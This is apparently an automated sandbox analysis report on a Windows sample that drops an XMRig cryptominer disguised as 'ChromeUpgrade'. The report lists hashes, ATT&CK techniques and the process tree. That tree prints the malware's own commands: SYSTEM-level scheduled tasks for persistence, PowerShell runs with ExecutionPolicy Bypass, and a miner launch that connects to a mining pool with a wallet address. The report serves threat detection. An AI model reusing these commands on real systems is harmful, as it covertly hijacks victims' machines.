xmrig | f9bd9f00b8c933cb77a10df211fc3196736e3506138e4ac99666e5f6699ec700

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 02:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-22_129b04c1dabea9ed9aaf30dd2a92c642_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Size 495KB
Sample260522-chhmqsfs91
SHA256 f9bd9f00b8c933cb77a10df211fc3196736e3506138e4ac99666e5f6699ec700
MD5 129b04c1dabea9ed9aaf30dd2a92c642
SHA1 099ba1e993ac9491aa85e07f11ba690beca33c31
SHA512 f06258aa3ec4720ef1963ae8a560a059618eb8a7cdd5fe42853645285ae3001ec2fc3d0064186d7c8ff7bcdd6091d4d4054cf5d752f6c12c662b884f48613276
SSDEEP 6144:88fHuzwfOjXfTU9fDkzILy8RYA2T3ljBm+PjQW4gpM4JO0qltuj8LyD//:hDYILpAtU2ptUX6/
TLSH
T11DB48E5AEAA503F9D1A6D13CCA074583E6B1785A4371A6EF03D049722F377E05E3E722
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x001900000002b598-93.dat	family_xmrig
behavioral2/files/0x001900000002b598-93.dat	xmrig

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 3 IoCs

pid	Process
2136	ChromeUpgrade.exe
5696	ChromeUpgrade.exe
5760	chromeup.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
2256	tasklist.exe
5108	tasklist.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4980	powershell.exe
2228	powershell.exe
3280	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2176	schtasks.exe
5448	schtasks.exe
5776	schtasks.exe
1424	schtasks.exe
5144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4980	powershell.exe
4980	powershell.exe
2228	powershell.exe
2228	powershell.exe
3280	powershell.exe
3280	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	2256	tasklist.exe
Token: SeLockMemoryPrivilege	5760	chromeup.exe
Token: SeLockMemoryPrivilege	5760	chromeup.exe
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeDebugPrivilege	5108	tasklist.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5760	chromeup.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 6036 wrote to memory of 2136	6036	2026-05-22_129b04c1dabea9ed9aaf30dd2a92c642_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	80
PID 2136 wrote to memory of 4000	2136	ChromeUpgrade.exe	81
PID 2136 wrote to memory of 1416	2136	ChromeUpgrade.exe	83
PID 2136 wrote to memory of 5700	2136	ChromeUpgrade.exe	85
PID 2136 wrote to memory of 2612	2136	ChromeUpgrade.exe	87
PID 2136 wrote to memory of 2176	2136	ChromeUpgrade.exe	89
PID 2136 wrote to memory of 5448	2136	ChromeUpgrade.exe	91
PID 2136 wrote to memory of 5776	2136	ChromeUpgrade.exe	93
PID 2136 wrote to memory of 4980	2136	ChromeUpgrade.exe	95
PID 5696 wrote to memory of 5392	5696	ChromeUpgrade.exe	99
PID 2136 wrote to memory of 2228	2136	ChromeUpgrade.exe	101
PID 2136 wrote to memory of 1924	2136	ChromeUpgrade.exe	103
PID 2136 wrote to memory of 1424	2136	ChromeUpgrade.exe	104
PID 1924 wrote to memory of 2256	1924	cmd.exe	107
PID 1924 wrote to memory of 5644	1924	cmd.exe	108
PID 1924 wrote to memory of 5760	1924	cmd.exe	110
PID 5696 wrote to memory of 3280	5696	ChromeUpgrade.exe	113
PID 5696 wrote to memory of 5720	5696	ChromeUpgrade.exe	115
PID 5696 wrote to memory of 5144	5696	ChromeUpgrade.exe	116
PID 5720 wrote to memory of 5108	5720	cmd.exe	119
PID 5720 wrote to memory of 2944	5720	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-05-22_129b04c1dabea9ed9aaf30dd2a92c642_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-22_129b04c1dabea9ed9aaf30dd2a92c642_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6036
- C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe
  "C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Query /TN ChromeUpgradeUpdater
    3⤵
    PID:4000
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Query /TN ChromeUpgradeUpdaterHourly
    3⤵
    PID:1416
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Query /TN ChromeUpgradeUpdaterLogon
    3⤵
    PID:5700
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Query /TN ChromeUpgradeServiceOnStart
    3⤵
    PID:2612
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /F /TN ChromeUpgradeUpdater /TR ""C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe" --update" /SC DAILY /ST 12:00 /RU SYSTEM /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2176
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /F /TN ChromeUpgradeUpdaterHourly /TR ""C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe" --update" /SC HOURLY /MO 2 /RU SYSTEM /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5448
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /F /TN ChromeUpgradeUpdaterLogon /TR ""C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe" --update" /SC ONLOGON /RU SYSTEM /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue'; Get-Command Get-MpPreference"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue'; Get-Command Get-MpPreference"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2228
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "C:\ProgramData\ChromeUpgrade\current\chromeup.cmd"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq chromeup.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2256
  - - C:\Windows\system32\find.exe
      find /I "chromeup.exe"
      4⤵
      PID:5644
  - - C:\ProgramData\ChromeUpgrade\current\chromeup.exe
      "C:\ProgramData\ChromeUpgrade\current\chromeup.exe" -B --cpu-max-threads-hint=25 -o pool.supportxmr.com:443 -u 49zdFgM3hr9EvuEXN5Rzud4Lk1qR1A6MJcAivMii2KwHC2GLbAJE8qdiMtcgRndduCaNL42DyRVoNTNbPxmVw1HM4kNN9Vc -k --tls -p ESAOTTXQ
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:5760
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /F /TN ChromeUpgradeServiceOnStart /TR "cmd.exe /c "C:\ProgramData\ChromeUpgrade\current\chromeup.cmd"" /SC ONSTART /RU SYSTEM /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1424

C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe
C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5696
- C:\Windows\system32\schtasks.exe
  schtasks /Query /TN ChromeUpgradeUpdater
  2⤵
  PID:5392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue'; Get-Command Get-MpPreference"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3280
- C:\Windows\system32\cmd.exe
  cmd /c "C:\ProgramData\ChromeUpgrade\current\chromeup.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5720
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq chromeup.exe"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5108
- - C:\Windows\system32\find.exe
    find /I "chromeup.exe"
    3⤵
    PID:2944
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN ChromeUpgradeServiceOnStart /TR "cmd.exe /c "C:\ProgramData\ChromeUpgrade\current\chromeup.cmd"" /SC ONSTART /RU SYSTEM /RL HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5144

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

chromeup.cmd

Path C:\ProgramData\ChromeUpgrade\current\chromeup.cmd
Size 672B
SHA256 3fbab13923a0f5cc7544e2a851b65b94f59ed6c5e662969c11e65587d5ee578a
MD5 31a94f74875b8828b358c4dd6367e91d
SHA1 dcfca2b42628ea5e71c618297d27300b5216ecc5
SHA512 e32ab595fe83d9158da5d9e3c86ac0ab9570b045fb50993416d361611e1da048ec1a2421d9d5b52fb94701fd97f78ff855dd344bc1909c7ff0ccb47b3188579f
TLSH
T16401F4931123A825C3305E976A908E439B5DF1372708D9EE73805826396A98813C476A
MD5 SHA1 SHA512 TLSH

Submit Download

package.zip

Path C:\ProgramData\ChromeUpgrade\meta\package.zip
Size 2.9MB
SHA256 73959ca2dc72917ed1a246f1880a79fd9d9162462eadd9ca62b712f9b42e48df
MD5 11a6f9eb11e9335773fe71a0618c1480
SHA1 d173c1e738f1c7828605bfdbff8980c2baca8af3
SHA512 ad608eb7b6d787d3ccac1cde4d08bf6f77fcb967f0d56a51768af7f4afde38a79539d417ce2a1a2c9f82bed05a389ea1007537fceac6a1c6f24e462c39d95725
SSDEEP 49152:MsraVF6P/AM5nAd/CiwSkMIFQ9OZcTjMHfSBckBTB4tJqt55iynviAi1w32Bt7FE:7ue/X9AFnGWdM/SCkBd4tJAtq23Dcdc9
TLSH
T1CFE533FE51E0953FFA2D3093AAA1CD2E9300A0831760C91ECF65CD956961B4DE6E47E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ChromeUpgrade.exe

Path C:\ProgramData\ChromeUpgrade\service\ChromeUpgrade.exe
Size 495KB
SHA256 f9bd9f00b8c933cb77a10df211fc3196736e3506138e4ac99666e5f6699ec700
MD5 129b04c1dabea9ed9aaf30dd2a92c642
SHA1 099ba1e993ac9491aa85e07f11ba690beca33c31
SHA512 f06258aa3ec4720ef1963ae8a560a059618eb8a7cdd5fe42853645285ae3001ec2fc3d0064186d7c8ff7bcdd6091d4d4054cf5d752f6c12c662b884f48613276
SSDEEP 6144:88fHuzwfOjXfTU9fDkzILy8RYA2T3ljBm+PjQW4gpM4JO0qltuj8LyD//:hDYILpAtU2ptUX6/
TLSH
T11DB48E5AEAA503F9D1A6D13CCA074583E6B1785A4371A6EF03D049722F377E05E3E722
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chromeup.cmd

Path C:\ProgramData\ChromeUpgrade\staging\chromeup.cmd
Size 554B
SHA256 5bbfd1c9724703e883f5232501dc18ff4379dc74f3533a73b403014b7970036d
MD5 2978f2e7729025e83e4cbab5d6fde449
SHA1 379d1c27fbe06a71ab62f3acee4fea1cb6a2dd79
SHA512 168f9f90f1b4f9541a302d0a7ac083631512a01e20342c814a83280ef115da70aba18844f371d3b7b98373486f236967fe0cb3f9b1620290102d4c0856c60a9d
TLSH
T1CBF0C0936017F82607312D9BB9838EC6FB2FC4656704F8CDB7949843A9168C43182ABE
MD5 SHA1 SHA512 TLSH

Submit Download

chromeup.exe

Path C:\ProgramData\ChromeUpgrade\staging\chromeup.exe
Size 6.2MB
SHA256 cb563eb5e11b11085e662f660437978b75fe9a7f10354f320922fce188705cf2
MD5 da4390a93a395481b49fd374161f4031
SHA1 db96aaf1303f27cb85abd4449e7f043276c6d3e7
SHA512 6ce6fc2769ed631ed47edb52eb2e0bb6de89cd65a4cb168b006ab2abb36a588dce208de9b8467e0206b6d9df8b3b15ee9a03913c783f8a9e176aa424d68b6534
SSDEEP 98304:DvI6UZN6/6QLxQrB68h5omxmGVOpksstMQXfhXjnJFD2a7d/atkSxQ7rapEZ650G:D/II/6aYXdFD22VatktKpEEd1Qib
TLSH
T107669D26B7A400E8C87EC53CC6469513E7B2B81953B0A7DB27B4567A1F33AD41E3EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ChromeUpgrade.exe

Path C:\ProgramData\ChromeUpgrade\staging\runner\ChromeUpgrade.exe
Size 475KB
SHA256 d920b80afc1257503447a0f0ebc4c17e9a8c01bc5d4c7d0a592aacc1f985a51c
MD5 3043deffe1ff026b79df77e6de2f76c5
SHA1 071bbb7550c4cded6b6d76844d9cd6a0653b1363
SHA512 b35530d6de30051a7cfe39d6b35da184ae92a2c0a461468f0c1bf99bb95d87bde17146f4b125124f85dd9628af9b64591d019305e99a611a0a2610bd2e096c7d
SSDEEP 6144:ZtSVgdcWaPdLJnK40uIdJAMI1UqgA+B31Ioi/PiymZoNCZ1cjh04VuWtdP:Sw4sdJDIUtE7mncjrdP
TLSH
T195A46C5AEA6501F9D5A6D13CCF074583E6713C194371A6EF03D48DA22E376E09E3EB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ad5cee6a519e17c8c3cda09d78e0e9f9cc04e539a2273532b5e07c9ddc6a9252
MD5 b1a170a0a91ff0ac6ab4b905ed455843
SHA1 14c4bcf81daac31a2011afe52518a1d42cc03854
SHA512 82f3d5dbae07b729faee003fc09ae23f94eb803132d17002d58f953eb18e8a325f8b3b6337b1298469a245fef599a84adc4968e02f1b62020c837caf38e5e074
TLSH
T1CA21A833B7ACC234C8D911BA2088AD01B2B5C3C7449ECECB7B84C508A57F99ADF641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 923918d3382ce32171a977fc156a93449efb77dd5db89bc5da9e404208eb2933
MD5 d213489c865e6aaebecfe83df0eb1ad8
SHA1 4e76d305b4741ff20fcdd540422290e072224e06
SHA512 6a6d3b4f1ba14244532f5a9d1d72278c443c202903b69f8bfcd349e0fe705589d359a5c226e1e25d3cbeb0e7953699f64b2693439d616407cb3b696c961cad13
TLSH
T1E3218933B79CC234C8C9117A1089AD01B2B5C3C7449E8E9B7B84C518A5BF49ADF641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_o5amib5e.qig.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o5amib5e.qig.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2228-167-0x0000022474C40000-0x0000022475702000-memory.dmp

Download

memory/3280-190-0x0000017D6C220000-0x0000017D6C2D3000-memory.dmp

Download

memory/4980-24-0x000002BFFEF00000-0x000002BFFEF1C000-memory.dmp

Download

memory/4980-34-0x000002BFFF2D0000-0x000002BFFFD92000-memory.dmp

Download

memory/4980-30-0x000002BF985D0000-0x000002BF985D6000-memory.dmp

Download

memory/4980-31-0x000002BFFEE40000-0x000002BFFEE4A000-memory.dmp

Download

memory/4980-29-0x000002BF985C0000-0x000002BF985C8000-memory.dmp

Download

memory/4980-28-0x000002BFFEF60000-0x000002BFFEF7A000-memory.dmp

Download

memory/4980-27-0x000002BFFEE30000-0x000002BFFEE3A000-memory.dmp

Download

memory/4980-23-0x000002BFFEE20000-0x000002BFFEE2A000-memory.dmp

Download

memory/4980-22-0x000002BF98500000-0x000002BF985B3000-memory.dmp

Download

memory/4980-21-0x000002BF984E0000-0x000002BF984FC000-memory.dmp

Download

memory/4980-8-0x000002BFFEED0000-0x000002BFFEEF2000-memory.dmp

Download

memory/5760-174-0x0000024C99210000-0x0000024C99230000-memory.dmp

Download